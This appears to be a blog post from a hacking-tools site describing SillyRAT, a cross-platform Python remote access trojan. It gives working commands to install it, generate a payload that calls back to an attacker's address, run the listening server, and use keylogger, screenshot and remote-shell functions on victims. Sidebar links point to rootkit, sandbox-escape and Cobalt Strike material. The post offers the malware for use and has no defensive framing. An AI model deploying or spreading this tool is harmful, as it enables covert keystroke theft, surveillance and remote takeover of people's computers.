Kali Linux

SillyRAT : A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

SillyRAT is a cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

Features

  • Built-in Shell for command execution
  • Dumping System Information including drives and rams
  • Screenshot module. Captures screenshot of client screen.
  • Connection Loop (Will continue on connecting to server)
  • Currently, it uses BASE64 encoding.
  • Pure Python
  • Cross Platform. (Tested on Linux. Errors are accepted)
  • Source File included for testing
  • Python 3

To be expected in future

  • Stealth Execution
  • Encryption
  • Storing Sessions from last attempt
  • Pushing Notifications when a client connects

Installation

The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:

$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

Documentation

Generating Payload

You can get the payload file in two ways:

  • Source File
  • Compiled File

The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:

$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/payload.py –source

The compiled version has to generated on the respective platform. For example, you can’t generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:

$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/filer

Replace your IP Address and Port on above commands.

Running Server

The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn’t store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:

$ python3 sillyrat.py bind –address 0.0.0.0 –port 2999

Connections

All the connections will be listed under sessions command:

$ sessions

You can connect to you target session with connect command and launch one of available commands:

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Help

Get a list of available commands:

$ help

Help on a Specific Command:

$ help COMMAND

R K

Recent Posts

Shadow-rs : Harnessing Rust’s Power For Kernel-Level Security Research

shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…

1 week ago

ExecutePeFromPngViaLNK – Advanced Execution Of Embedded PE Files via PNG And LNK

Extract and execute a PE embedded within a PNG file using an LNK file. The…

2 weeks ago

Red Team Certification – A Comprehensive Guide To Advancing In Cybersecurity Operations

Embark on the journey of becoming a certified Red Team professional with our definitive guide.…

3 weeks ago

CVE-2024-5836 / CVE-2024-6778 : Chromium Sandbox Escape via Extension Exploits

This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…

3 weeks ago

Rust BOFs – Unlocking New Potentials In Cobalt Strike

This took me like 4 days (+2 days for an update), but I got it…

3 weeks ago

MaLDAPtive – Pioneering LDAP SearchFilter Parsing And Security Framework

MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…

3 weeks ago